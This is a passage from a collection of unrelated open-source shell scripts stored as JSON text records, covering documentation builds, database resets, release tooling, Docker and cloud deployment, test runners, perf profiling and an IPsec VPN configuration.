count=$((count+1))\n done\n for filename in $(find advanced_source/ -name '*.py' -not -path '*/data/*'); do\n if [ $(($count % $NUM_WORKERS)) != $WORKER_ID ]; then\n echo \"Removing runnable code from \"$filename\n python $DIR/remove_runnable_code.py $filename $filename\n else\n echo \"Keeping \"$filename\n FILES_TO_RUN+=($(basename $filename .py))\n fi\n count=$((count+1))\n done\n echo \"FILES_TO_RUN: \" ${FILES_TO_RUN[@]}\n\n # Step 3: Run `make docs` to generate HTML files and static files for these tutorials\n make docs\n\n # Step 4: If any of the generated files are not related the tutorial files we want to run,\n # then we remove them\n for filename in $(find docs/beginner docs/intermediate docs/advanced -name '*.html'); do\n file_basename=$(basename $filename .html)\n if [[ ! \" ${FILES_TO_RUN[@]} \" =~ \" ${file_basename} \" ]]; then\n rm $filename\n fi\n done\n for filename in $(find docs/beginner docs/intermediate docs/advanced -name '*.rst'); do\n file_basename=$(basename $filename .rst)\n if [[ ! \" ${FILES_TO_RUN[@]} \" =~ \" ${file_basename} \" ]]; then\n rm $filename\n fi\n done\n for filename in $(find docs/_downloads -name '*.py'); do\n file_basename=$(basename $filename .py)\n if [[ ! \" ${FILES_TO_RUN[@]} \" =~ \" ${file_basename} \" ]]; then\n rm $filename\n fi\n done\n for filename in $(find docs/_downloads -name '*.ipynb'); do\n file_basename=$(basename $filename .ipynb)\n if [[ ! \" ${FILES_TO_RUN[@]} \" =~ \" ${file_basename} \" ]]; then\n rm $filename\n fi\n done\n for filename in $(find docs/_sources/beginner docs/_sources/intermediate docs/_sources/advanced -name '*.rst.txt'); do\n file_basename=$(basename $filename .rst.txt)\n if [[ ! \" ${FILES_TO_RUN[@]} \" =~ \" ${file_basename} \" ]]; then\n rm $filename\n fi\n done\n for filename in $(find docs/.doctrees/beginner docs/.doctrees/intermediate docs/.doctrees/advanced -name '*.doctree'); do\n file_basename=$(basename $filename .doctree)\n if [[ ! \" ${FILES_TO_RUN[@]} \" =~ \" ${file_basename} \" ]]; then\n rm $filename\n fi\n done\n\n # Step 5: Remove INVISIBLE_CODE_BLOCK from .html/.rst.txt/.ipynb/.py files\n bash $DIR/remove_invisible_code_block_batch.sh docs\n\n # Step 6: Copy generated files to S3, tag with commit ID\n 7z a worker_${WORKER_ID}.7z docs\n aws s3 cp worker_${WORKER_ID}.7z s3://${BUCKET_NAME}/${COMMIT_ID}/worker_${WORKER_ID}.7z --acl public-read\nelif [[ \"${JOB_BASE_NAME}\" == *manager ]]; then\n # Step 1: Generate no-plot HTML pages for all tutorials\n make html-noplot\n cp -r _build/html docs\n\n # Step 2: Wait for all workers to finish\n set +e\n for ((worker_id=0;worker_id\"\n git config user.name \"pytorchbot\"\n git commit -m \"Automated tutorials push\" || true\n git status\n git push origin gh-pages\n fi\nelse\n make docs\nfi\n\nrm -rf vision\nrm -rf audio"} {"text": "#!/bin/bash\nread -s -p \"Enter Password: \" mypassword\nmysql -u root -p\"$mypassword\" -e \"DROP DATABASE IF EXISTS ospos; CREATE DATABASE ospos;\"\n[ ! -z $1 ] && script=migrate_phppos || script=database\nmysql -u root -p\"$mypassword\" -e \"USE ospos; source $script.sql;\""} {"text": "schneems/minishift0\n#!/bin/bash\n\n# Copyright (C) 2017 Red Hat, Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nprogramname=$0\nfunction usage()\n{\n echo \"usage: $programname -r repository -m milestone\"\n echo \" -r repository name\"\n echo \" -m milestone id\"\n exit 1\n}\n\nfunction print_content_with_nonempty_issues() {\n echo $1 | grep -q '[0-9]'\n if [[ \"$?\" == 0 ]]; then\n echo -e \"$1\"\n fi\n}\n\n# Given a minishift repo name and a milestone, generates a sorted list of issues for this milestone.\n# Can be used to update the GitHub replease page as part of cutting a release.\nfunction milestone_issues()\n{\n # get the raw data\n milestone_data=\"`curl -s https://api.github.com/repos/minishift/$repository/issues?milestone=$milestone\\&state=closed`\"\n\n issue_list=`echo $milestone_data | jq '.[] | \"- Issue [#\" + (.number|tostring) + \"](\" + .url + \") (\"\n + (reduce .labels[] as $item (\"\"; (if $item.color == \"84b6eb\" then (. + $item.name[5:]) else . end)))\n + \") - \" + .title'`\n\n # sort first on issue type, then issue id\n issue_list=`echo \"$issue_list\" | sort -k4,4 -k2n`\n\n # Remove enclosing quotes on each line\n issue_list=`echo \"$issue_list\" | tr -d \\\"`\n\n # Replace \\ which is left over from above command with \"(double quote) and suppress warning\n issue_list=`echo \"$issue_list\" | tr '\\' '\"' 2> /dev/null`\n\n # Adjust the issue links\n issue_list=`echo \"$issue_list\" | sed -e s/api.github.com.repos/github.com/g`\n\n features=\"# Features\\n\"\n bugs=\"\\n# Bugs\\n\"\n tasks=\"\\n# Tasks\\n\"\n while read line; do\n if [[ \"$line\" == *\"(feature)\"* ]]; then features=\"$features\\n$line\"; fi\n if [[ \"$line\" == *\"(bug)\"* ]]; then bugs=\"$bugs\\n$line\"; fi\n if [[ \"$line\" == *\"(task)\"* ]]; then tasks=\"$tasks\\n$line\"; fi\n done <<< \"$issue_list\"\n\n for content in \"$features\" \"$bugs\" \"$tasks\"; do\n print_content_with_nonempty_issues \"$content\"\n done\n}\n\nwhile getopts \":r:m:\" opt; do\n case $opt in\n r)\n repository=$OPTARG\n ;;\n m)\n milestone=$OPTARG\n ;;\n *)\n usage\n exit 1\n ;;\n esac\ndone\n\nshift $((OPTIND-1))\n\nif [ -z \"${repository}\" ] || [ -z \"${milestone}\" ]; then\n usage\n exit 1\nfi\n\nmilestone_issues"} {"text": "fredmontet/dotfiles\n# Yarn JS package manager \n# icu4c (one of yarn's dependencies)\n# If you need to have icu4c first in your PATH run:\nexport PATH=\"/usr/local/opt/icu4c/bin:$PATH\"\nexport PATH=\"/usr/local/opt/icu4c/sbin:$PATH\"\n# For compilers to find icu4c you may need to set:\nexport LDFLAGS=\"-L/usr/local/opt/icu4c/lib\"\nexport CPPFLAGS=\"-I/usr/local/opt/icu4c/include\"\n# For pkg-config to find icu4c you may need to set:\nexport PKG_CONFIG_PATH=\"/usr/local/opt/icu4c/lib/pkgconfig\""} {"text": "steinbaugh/koopa\n#!/usr/bin/env bash\n\nkoopa_install_wget() {\n # \"\"\"\n # @seealso\n # - https://github.com/Homebrew/homebrew-core/blob/master/Formula/wget.rb\n # \"\"\"\n local dict\n declare -A dict=(\n [opt_prefix]=\"$(koopa_opt_prefix)\"\n )\n dict[ssl]=\"$(koopa_realpath \"${dict[opt_prefix]}/openssl\")\"\n koopa_install_app \\\n --activate-build-opt='autoconf' \\\n --activate-build-opt='automake' \\\n --activate-opt='gettext' \\\n --activate-opt='libidn' \\\n --activate-opt='libtasn1' \\\n --activate-opt='nettle' \\\n --activate-opt='openssl' \\\n --activate-opt='pcre2' \\\n --activate-opt='gnutls' \\\n --installer='gnu-app' \\\n --name='wget' \\\n --link-in-bin='bin/wget' \\\n --name='wget' \\\n -D '--disable-debug' \\\n -D '--with-ssl=openssl' \\\n -D \"--with-libssl-prefix=${dict[ssl]}\" \\\n -D '--without-included-regex' \\\n -D '--without-libpsl' \\\n \"$@\"\n}"} {"text": "AlienKevin/wordshk_app\n#!/bin/bash\n\n# sed extracts the filename at the end of the path\n# cut removes the file extension \".mp3\" from the filename\nsyllable_name_list=$(find assets/jyutping_female -depth 1 | sed \"s/.*\\///\" | cut -f 1 -d '.')\n\ndelim=\"\"\njoined_names=\"\"\nfor syllable_name in ${syllable_name_list}; do\n joined_names=\"$joined_names$delim\\\"$syllable_name\\\"\"\n delim=\", \"\ndone\n\n# Generate a set literal and append it to constants.dart\necho \"const jyutpingFemaleSyllableNames = {$joined_names};\" >> lib/constants.dart"} {"text": "pulp-worker/entrypoint.sh1-10\n#!/bin/bash -e\n\nGPG_KEY=/etc/gpg/gpg_key\n\nif [[ -r \"$GPG_KEY\" ]]; then\n echo \"[INFO] Enabling Signing API\"\n # Import private key\n gpg --import $GPG_KEY\nelif [[ ! -r \"${GPG_KEY}\" && \"${PULP_TEST}\" -eq 1 ]]; then\n echo \"Could not find GPG key. Generating new\"\n if [[ $(gpg --list-keys | wc -l) -eq 0 ]]; then\n gpg --batch --no-tty --pinentry-mode loopback --gen-key <\nExpire-Date: 0\nEOF\nfi\nelse\n\necho -e \"Could not load GPG key. \"\necho -e \"If you're running this locally pass PULP_TEST=1 to generate a dummy key\"\necho -e \"Aborting..\"\nexit 1\n\nfi\n\n# Export public key\ngpg --export -a > /tmp/public.key\n# Export key fingerprint\ngpg --with-fingerprint --with-colons /tmp/public.key 2>/dev/null | grep fpr: | head -n1 | cut -d: -f10 > /tmp/public.fpr\n\necho -e \"5\\ny\\n\" | gpg --batch --pinentry-mode loopback --yes --no-tty --command-fd 0 --expert --edit-key \"$(cat /tmp/public.fpr)\" trust\n\npulpcore-manager shell < /opt/pulp/lib/register-signing-api.py\n\nREDIS_URL=${PULP_REDIS_URL:-\"localhost:6379\"}\nWORKER_NAME=${WORKER_NAME:-\"worker@%h\"}\nexec rq worker --url \"$REDIS_URL\" -n \"$WORKER_NAME\" -w 'pulpcore.tasking.worker.PulpWorker' --disable-job-desc-logging"} {"text": "mvn clean install\nmvn exec:java -Dexec.mainClass=\"ninja.diku.main.Main\""} {"text": "#!/bin/bash\n\nSCRIPT_DIR=\"$(cd \"$(dirname \"$0\")\" > /dev/null 2>&1; pwd -P)\"\n[[ \"$1\" == \"watch\" ]] && WATCH_MODE=true || WATCH_MODE=false\n\nisWSL=false\nisOSX=false\n\n# Linux env\nif [ -f \"/proc/version\" ]; then\n isWSL=$(grep -qE \"(Microsoft|WSL)\" /proc/version &> /dev/null)\nelse\n isOSX=$(uname | grep -qi \"darwin\" &> /dev/null)\nfi\n\ncypressCmd=\"docker-compose run e2e-cypress\"\nxlaunchPath=\"${SCRIPT_DIR}/XServer.xlaunch\"\n\n# When watching for test changes, `open` (instead of `run`) Cypress so that the\n# Dev can use the GUI for an easy test writing experience.\nif $WATCH_MODE; then\n if $isWSL; then\n display=\"$(hostname):0.0\"\n xlaunchBinary=\"/c/Program Files/VcXsrv/xlaunch.exe\"\n xlaunchPath=$(wslpath -w \"${SCRIPT_DIR}/XServer.xlaunch\")\n xlaunchKillCmd=\"/c/Windows/System32/taskkill.exe /IM \\\"vcxsrv.exe\\\" /F\"\n SERVER_IS_RUNNING=$(/c/Windows/System32/tasklist.exe | grep -q vcxsrv && true || false)\n \n # If previous Server session wasn't terminated, kill it\n if $SERVER_IS_RUNNING; then\n echo;\n echo \"[KILL] Previously running XServer session\"\n eval \"$xlaunchKillCmd\"\n fi\n elif $isOSX; then\n xquartzBinary=$(which xquartz)\n xquartzKillCmd=\"osascript -e 'quit app \\\"xquartz\\\"'\"\n IP=$(ifconfig en0 | grep inet | awk '$1==\"inet\" {print $2}')\n display=\"$IP:0\"\n fi\n\n if [[ \"$display\" != \"\" ]]; then\n cypressCmd=\"docker-compose run -e DISPLAY=$display --entrypoint cypress e2e-cypress open --project .\"\n \n if [[ \"$xlaunchBinary\" != \"\" ]] && [ -f \"$xlaunchBinary\" ]; then\n echo;\n echo \"[START] XServer\"\n \"$xlaunchBinary\" -run \"$xlaunchPath\"\n elif [[ \"$xquartzBinary\" != \"\" ]] && [ -f \"$xquartzBinary\" ]; then\n echo;\n echo \"[START] XServer\"\n xhost + $IP\n else\n echo \"[ERROR] The XServer binary could not be located. Follow the instructions in the README to get it installed.\"\n echo;\n exit 1\n fi\n else\n echo;\n echo \"[ERROR] You're trying to run watch mode but no \\`DISPLAY\\` was set for your OS, and one could not be determined.\"\n echo;\n exit 1\n fi\nfi\n\necho;\necho \"[START] Tests\"\necho;\nnpm run build && concurrently --kill-others -p \"[ {name} ]\" -n SERVER,TESTS -c black.bgGreen,black.bgCyan \"npm run start\" \"${cypressCmd}\"\n\nif [[ \"$xlaunchKillCmd\" != \"\" ]]; then\n echo;\n echo \"[KILL] XServer\"\n eval \"$xlaunchKillCmd\"\nelif [[ \"$xquartzKillCmd\" != \"\" ]]; then\n echo;\n echo \"[KILL] XServer\"\n eval \"$xquartzKillCmd\"\nfi"} {"text": "Ramguru94/rundeck\n#!/bin/bash\n\nset -e\nset -x\nPROFILE_NAME=\"rundeck\"\nCLUSTER_NAME=\"RunDeck\"\nREGION=\"us-east-1\"\nLAUNCH_TYPE=\"FARGATE\"\n\n\necs-cli configure --region \"${REGION}\" --cluster ${CLUSTER_NAME} \\\n--config-name \"$PROFILE_NAME\" --default-launch-type ${LAUNCH_TYPE}\n\n\n#ecs-cli configure --cluster \"$CLUSTER_NAME\" --default-launch-type \"$LAUNCH_TYPE\" \\\n#--region \"$REGION\" --config-name \"$PROFILE_NAME\""} {"text": "guochunhe/Vitis-AI\n# Copyright 2019 Xilinx Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# PART OF THIS FILE AT ALL TIMES.\n\n#!/bin/bash\n# trained_model = \" PATH OF THE MODEL\"\n# image_root =\"ROOT PATH OF IMAGES\"\n# image_list = \"SEGMENTATION IMAGES LIST\"\nDATASET=../../data\nWEIGHTS=../../float/pytorch_multi-task_v2_resnet18_512*320_mod_input.pth\nIMG_LIST=seg_val.txt\nSAVE_FOLDER=./result/\nGT_FILE=${DATASET}/seg_label/\nDT_FILE=${SAVE_FOLDER}/seg/\nTEST_LOG=${DATASET}/seg_log.txt\n\npython test.py --trained_model ${WEIGHTS} --image_root ${DATASET} --image_list ${IMG_LIST} --img_mode 2 --eval --quant_mode float\npython ./evaluation/evaluate_seg.py seg ${GT_FILE} ${DT_FILE} | tee -a ${TEST_LOG}\necho \"Test report is saved to ${TEST_LOG}\""} {"text": "voi-oss/buildscripts-gradle-plugin\n#!/bin/bash\n\n# This script bumps executes a version bump by:\n# - Incrementing the version code by 10\n# - Incrementing the minor segment of the version name by 1\n#\n# The script assumes that the version name follows the SemVer\n# convention (major.minor.patch)\n#\n# Safe to execute from any folder inside a parent git repo.\n\nset -u\nset -e\n\n# Includes utility functions\nDIR=\"${BASH_SOURCE%/*}\"\nif [[ ! -d \"$DIR\" ]]; then DIR=\"$PWD\"; fi\n# shellcheck source=/utils.sh\n. \"$DIR/utils.sh\"\n\n# Main flow\nbaseDir=$(getBaseDir)\nversionName=$(getVersionName)\nversionCode=$(getVersionCode)\nnewCode=$((versionCode+10))\nnewSemverVersion=$(\"$DIR\"/semver.sh bump minor \"$versionName\")\n\ngit checkout master\n\nif [[ \"$OSTYPE\" == \"darwin\"* ]]; then\n # Mac OSX\n sed -E -i \"\" \"s/versionCode [0-9]*/versionCode $newCode/\" \"${baseDir}\"/app/build.gradle\n sed -E -i \"\" \"s/versionName \\\"[\\.0-9]*\\\"/versionName \\\"$newSemverVersion\\\"/\" \"${baseDir}\"/app/build.gradle\nelse\n # Other unix\n sed -i -E \"s/versionCode [0-9]*/versionCode $newCode/\" \"${baseDir}\"/app/build.gradle\n sed -i -E \"s/versionName \\\"[\\.0-9]*\\\"/versionName \\\"$newSemverVersion\\\"/\" \"${baseDir}\"/app/build.gradle\nfi\n\ngit add \"${baseDir}\"/app/build.gradle\ngit commit -m \"Version bump $newSemverVersion ($newCode)\"\ngit push"} {"text": "10-100\nversionNumber=$(cat extension/safari/manifest.json | jq '.version')\ninfoPlist='extension/safari-xcode/gix/gix/Info.plist'\ninfoPlistExtension='extension/safari-xcode/gix/gix Extension/Info.plist'\n\n# convert extension\nxcrun safari-web-extension-converter ./extension/safari --project-location ./extension/safari-xcode --app-name gix --bundle-identifier dev.jamesknight.gix --copy-resources --force --swift --no-open\n\n# copy app icons\nrm -rf extension/safari-xcode/gix/gix/Assets.xcassets/AppIcon.appiconset/*\ncp extension/safari/icon/Contents.json extension/safari-xcode/gix/gix/Assets.xcassets/AppIcon.appiconset/\ncp extension/safari/icon/icon16.png extension/safari-xcode/gix/gix/Assets.xcassets/AppIcon.appiconset/\ncp extension/safari/icon/icon32.png extension/safari-xcode/gix/gix/Assets.xcassets/AppIcon.appiconset/\ncp extension/safari/icon/icon64.png extension/safari-xcode/gix/gix/Assets.xcassets/AppIcon.appiconset/\ncp extension/safari/icon/icon128.png extension/safari-xcode/gix/gix/Assets.xcassets/AppIcon.appiconset/\ncp extension/safari/icon/icon256.png extension/safari-xcode/gix/gix/Assets.xcassets/AppIcon.appiconset/\ncp extension/safari/icon/icon512.png extension/safari-xcode/gix/gix/Assets.xcassets/AppIcon.appiconset/\ncp extension/safari/icon/icon1024.png extension/safari-xcode/gix/gix/Assets.xcassets/AppIcon.appiconset/\n\n# update version and build numbers\n/usr/libexec/PlistBuddy -c \"Set :CFBundleVersion $versionNumber\" \"$infoPlist\"\n/usr/libexec/PlistBuddy -c \"Set :CFBundleVersion $versionNumber\" \"$infoPlistExtension\"\n/usr/libexec/PlistBuddy -c \"Set :CFBundleShortVersionString $versionNumber\" \"$infoPlist\"\n/usr/libexec/PlistBuddy -c \"Set :CFBundleShortVersionString $versionNumber\" \"$infoPlistExtension\"\n\n# set app category\n/usr/libexec/PlistBuddy -c \"Add :LSApplicationCategoryType string public.app-category.productivity\" \"$infoPlist\"\n\n# add encryption boolean\n/usr/libexec/PlistBuddy -c \"Add :ITSAppUsesNonExemptEncryption bool false\" \"$infoPlist\""} {"text": "#!/bin/bash\n\nset -e\nset -x\n\ntest -f dropped-log.tsv || aws s3 cp s3://geniehai/gcampax/dropped-log.tsv dropped-log.tsv\n\n# These are in-domain: ok|contextual command|ambiguous|meta-command\n# We ignore these: bug-tokenize|redacted\n# out of domain:\nsed -E -e '/\\t(chatty|phone|foreign language|dialogue-model|gnome|math|new device|new function|policy or remote program|question|skill-help|web search|unintellegible|stream|tutorial|schemaorg)$/!d' -e 's/\\t/\\tnull\\t/' -e 's/\\t[^\\t]*$/\\t\\$ood ;/' dropped-log.tsv > calibration-ood.tsv\n# junk\nsed -E -e '/\\t(junk)$/!d' -e 's/\\t/\\tnull\\t/' -e 's/\\t[^\\t]*$/\\t\\$junk ;/' dropped-log.tsv > calibration-junk.tsv\naws s3 cp calibration-ood.tsv s3://geniehai/gcampax/calibration-ood.tsv\naws s3 cp calibration-junk.tsv s3://geniehai/gcampax/calibration-junk.tsv"} {"text": "romankagan/data-science-on-gcp1-10\n#!/bin/bash\n\nTF_VERSION=\"1.4\" # CHANGE as needed\n\nif [ \"$#\" -ne 2 ]; then\n echo \"Usage: ./deploy_model.sh bucket-name bucket-region\"\n exit\nfi\n\nBUCKET=$1\nREGION=$2\n\nMODEL_NAME=\"flights\"\nMODEL_VERSION=\"v1\"\n\n# result of training\nMODEL_LOCATION=$(gsutil ls gs://${BUCKET}/flights/chapter9/output/export/Servo/ | tail -1)\n\necho \"Deleting and deploying $MODEL_NAME $MODEL_VERSION from $MODEL_LOCATION ... this will take a few minutes ... the first two calls to delete version/model will throw ERROR if this is the first time you are deploying the model (you can ignore those)\"\n\ngcloud ml-engine versions delete ${MODEL_VERSION} --model ${MODEL_NAME}\ngcloud ml-engine models delete ${MODEL_NAME}\ngcloud ml-engine models create ${MODEL_NAME} --regions $REGION\ngcloud ml-engine versions create ${MODEL_VERSION} --model ${MODEL_NAME} --origin ${MODEL_LOCATION} --runtime-version=${TF_VERSION}"} {"text": "0\n#!/bin/bash\n\ncd backend\nrm backend\ngo test ./...\ngo build -a -o backend main.go\n\n\ncd ../ui\nnpm run build\n\ncd ../\n\ndocker stop limetka\ndocker rm limetka\ndocker rmi -f limetka\n\ndocker build . --tag limetka:latest\n\ndocker run -t -p 3000:3000 -p 3001:3001 -v \"$HOME/.aws:/root/.aws:ro\" --name limetka limetka:latest &"} {"text": "Richacinas/sa-wp-nginx-docker1-10\n#!/usr/bin/env bash\n\n##############\n# migrate.sh #\n##############\n#\n# Description: \n# Updates URL in database so the site can run on other domain\n# Replace the constants as you please and run it like this ./migrate.sh\n#\n\nexport WORDPRESS_FINAL_URL=final_url\nexport WORDPRESS_TABLE_PREFIX=something_\nexport WORDPRESS_URL_REPLACE=url_to_replace\nexport MYSQL_DATABASE=database_name\n\nmysql -uroot -p$MYSQL_ROOT_PASSWORD -D$MYSQL_DATABASE -e \"\nUPDATE ${WORDPRESS_TABLE_PREFIX}options SET option_value = REPLACE(option_value, '${WORDPRESS_URL_REPLACE}', '${WORDPRESS_FINAL_URL}') WHERE option_name = 'home' OR option_name = 'siteurl'; \nUPDATE ${WORDPRESS_TABLE_PREFIX}posts SET guid = REPLACE(guid, '${WORDPRESS_URL_REPLACE}', '${WORDPRESS_FINAL_URL}'); \nUPDATE ${WORDPRESS_TABLE_PREFIX}posts SET post_content = REPLACE(post_content, '${WORDPRESS_URL_REPLACE}', '${WORDPRESS_FINAL_URL}'); \nUPDATE ${WORDPRESS_TABLE_PREFIX}posts SET post_content = REPLACE(post_content, 'src=\\\"${WORDPRESS_URL_REPLACE}\\\"', 'src=\\\"${WORDPRESS_FINAL_URL}\\\"'); \nUPDATE ${WORDPRESS_TABLE_PREFIX}posts SET guid = REPLACE(guid, '${WORDPRESS_URL_REPLACE}', '${WORDPRESS_FINAL_URL}') WHERE post_type = 'attachment'; \nUPDATE ${WORDPRESS_TABLE_PREFIX}postmeta SET meta_value = REPLACE(meta_value, '${WORDPRESS_URL_REPLACE}', '${WORDPRESS_FINAL_URL}');\""} {"text": "app/test/stop.sh1-10\n#!/bin/bash\n# Cleanup all test containers by stopping them.\n# The images downloaded will stay however.\n\nset -e\n\ndocker stop $(docker ps -aq)\n\nexit"} {"text": "#!/bin/bash\n#\n# Copyright (C) 2014 Intel Corporation\n#\n# Redistribution and use in source and binary forms, with or without modification,\n# are permitted provided that the following conditions are met:\n#\n# * Redistributions of works must retain the original copyright notice, this list\n# of conditions and the following disclaimer.\n# * Redistributions in binary form must reproduce the original copyright notice,\n# this list of conditions and the following disclaimer in the documentation\n# and/or other materials provided with the distribution.\n# * Neither the name of Intel Corporation nor the names of its contributors\n# may be used to endorse or promote products derived from this work without\n# specific prior written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY INTEL CORPORATION \"AS IS\"\n# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n# ARE DISCLAIMED. IN NO EVENT SHALL INTEL CORPORATION BE LIABLE FOR ANY DIRECT,\n# INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n# BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n# DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY\n# OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,\n# EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n# Authors:\n# <>\n# <>\n# Yin,Haichao <>\n\npath=$(dirname $(dirname $0))\nsource $path/scripts/xwalk_common.sh\nAPP_NAME=\"sp-widget-only-author-signature\"\nget_currentuser\nfunction existbh()\n{\n echo $1\n uninstall_app $APP_NAME\n exit $2\n}\n$(dirname $0)/wrt_appwgt_installer.sh $APP_NAME.wgt\nsleep 5\nfind_app $APP_NAME\nif [ $? -ne 0 ]\nthen\n exit 1\nfi\nwidgetpath=\"/home/$TIZEN_USER/apps_rw/xwalk/applications/$appid\"\nif [ ! -d $widgetpath ]\nthen\n existbh \"The path of the application does not exist.\" 1\nfi\nfilecount=$(ls -lR $widgetpath|grep \"^-\"|wc -l)\nname=(\"config.xml\" \"icon.png\" \"index.html\" \"author-signature.xml\")\nif [ $filecount -eq 4 ]\nthen\n filename=$(ls $widgetpath)\n for var in ${name[@]};do\n echo ${filename[@]}|grep -q \"$var\"\n if [ $? -ne 0 ]\n then\n existbh \"WRT does not support Web AppWidget installation.\" 1\n fi\n done\n indexcount=$(find $widgetpath -name index.html|wc -l)\n if [ $indexcount -ne 1 ]\n then\n existbh \"WRT does not support Web AppWidget installation.\" 1\n fi\n existbh \"WRT supports Web AppWidget installation.\" 0\nelse\n existbh \"WRT does not support Web AppWidget installation.\" 1\nfi"} {"text": "src/bash/livy-rester/tests/remove-action-files.test.sh\n# src/bash/livy-rester/funcs/remove-action-files.test.sh\n\n# v0.1.0\n# ---------------------------------------------------------\n# adds first an action to remove \n# generates all the aciton files (( it will add this new ) \n# action to remove\n# and tests the actual removal at the end \n# ---------------------------------------------------------\ndoTestRemoveActionFiles(){\n\n\tdoLog \"DEBUG START doTestRemoveActionFiles\"\n\n\tdoSpecRemoveActionFiles\n\tsleep \"$sleep_interval\"\n\tprintf \"\\033[2J\";printf \"\\033[0;0H\"\n\n\tdoHelpRemoveActionFiles\n\tsleep \"$sleep_interval\"\n\tprintf \"\\033[2J\";printf \"\\033[0;0H\"\n\t\n\tcat doc/txt/livy-rester/tests/remove-action-files.test.txt\n\tsleep \"$sleep_interval\"\n\tprintf \"\\033[2J\";printf \"\\033[0;0H\"\n\t\n\t# add an action to remove\n\tfound=$(grep -c action-to-remove src/bash/livy-rester/tests/rem-livy-rester-actions.lst)\n\ttest $found -eq 0 && \\\n\techo action-to-remove >> src/bash/livy-rester/tests/rem-livy-rester-actions.lst\n\tfound=0\n\t\n\tfound=$(grep -c action-to-remove src/bash/livy-rester/tests/all-livy-rester-tests.lst)\n\ttest $found -eq 0 && \\\n\t\techo action-to-remove >> src/bash/livy-rester/tests/all-livy-rester-tests.lst\n\n\t# now generate the code files for this action to remove\n\tbash src/bash/livy-rester/livy-rester.sh -a generate-action-files\t\t\n\tsleep \"$sleep_interval\"\n\tprintf \"\\033[2J\";printf \"\\033[0;0H\"\n\n\t# and test the actual removal of the action \t\n\tbash src/bash/livy-rester/livy-rester.sh -a remove-action-files\t\t\n\tdoLog \"DEBUG STOP doTestRemoveActionFiles\"\n\n\tsleep \"$sleep_interval\"\n\tprintf \"\\033[2J\";printf \"\\033[0;0H\"\n}\n# eof func doTestRemoveActionFiles\n\n\n# eof file: src/bash/livy-rester/funcs/remove-action-files.test.sh"} {"text": "mmarchini-oss/nodejs-servers-benchmark-collectionscripts/flamegraph-basic.sh\n#!/bin/bash\n\n# This script is inteded to be used when Node.js flag --perf-basic-prof is\n# enabled.\n\nset -e\n\nPID=$1\nshift 1\nAUTOCANNON=(\"$@\")\ntest -n \"$PID\"\ntest -n \"${AUTOCANNON[*]}\"\n\nsudo=(sudo sudo env \"PATH=$PATH\")\n\n# NOTE(mmarchini): needed to preserve nvm and a possibly custom perf\n\"${sudo[@]}\" perf record -k1 -F99 -g -o out/perf.\"$PID\".data -p \"$PID\" -- \"${AUTOCANNON[@]}\"\n\n# shellcheck disable=SC2024\n\"${sudo[@]}\" perf script --fields comm,pid,tid,time,event,ip,sym,dso,period --force -i out/perf.\"$PID\".data > out/perf.\"$PID\".out\n\"${sudo[@]}\" chown mmarchini:mmarchini out/perf.\"$PID\".out\nnflxprofile --output out/\"$PID\".nflxprofile out/perf.\"$PID\".out >/dev/null 2>/dev/null"} {"text": "#!/bin/sh\n\necho \"HOST_IP=${HOST_IP}\"\necho $MYPASSWORD\necho $MYUSERNAME\necho $MYGATEWAY\necho $MYSECRET\n\n# Disable ICMP redirect, prevent protocol message redirect\ncat <> /etc/sysctl.conf\nnet.ipv4.conf.all.accept_redirects = 0\nnet.ipv4.conf.all.send_redirects = 0\nEOF_SYSCTL_CONF\n\n# Config IPsec tunnel\n# note: Openswan using left & right describe VPN server & clients\n\ncat <>/etc/ipsec.conf\nversion 2.0\n\nconfig setup\n nat_traversal=yes\n protostack=netkey\n # Do not use 192.168.0.0/16 for it's using everywhere\n virtual_private=%v4:10.0.0.0/8,%v4:172.16.0.0/12\n oe=off\n\nconn L2TP-PSK-NAT\n rightsubnet=vhost:%priv\n also=L2TP-PSK-noNAT\n\nconn L2TP-PSK-noNAT\n authby=secret\n pfs=no\n auto=add\n keyingtries=3\n # https://imdjh.github.io/sysadmin/2015/04/19/setup-pptp-with-l2tp-vpn-server-on-wheezy.html\n # has rekey to yes, see man page for more details\n # we cannot rekey for %any, let client rekey (from https://github.com/ritazh/l2tpvpn-docker-pi/blob/master/run.sh)\n rekey=no\n # Apple iOS doesn't send delete notify so we need dead peer detection\n # to detect vanishing clients\n dpddelay=30\n dpdtimeout=120\n dpdaction=clear\n # Set ikelifetime and keylife to same defaults windows has\n ikelifetime=8h\n keylife=1h\n # l2tp-over-ipsec is transport mode\n type=transport\n # The VPN server IP\n left=${HOST_IP}\n leftprotoport=17/1701\n # Remote user details\n right=%any\n # Using the magic port of \"%any\" means \"any one single port\". This is a work around required for Apple OSX \n # clients that use a randomly high port.\n rightprotoport=17/%any\n # force all to be nat'ed. because of ios\n forceencaps=yes\n # If your server is within a gateway, you ought to configure leftnexthop to gateway IP\n leftnexthop=%defaultroute\n\nEOF_IPSEC_CONF"} {"text": "#!/bin/bash\nset -euo pipefail\nIFS=$'\\n\\t'\n\ncp \"$(stack path --local-bin)/shift\" dist/\n\ndocker build 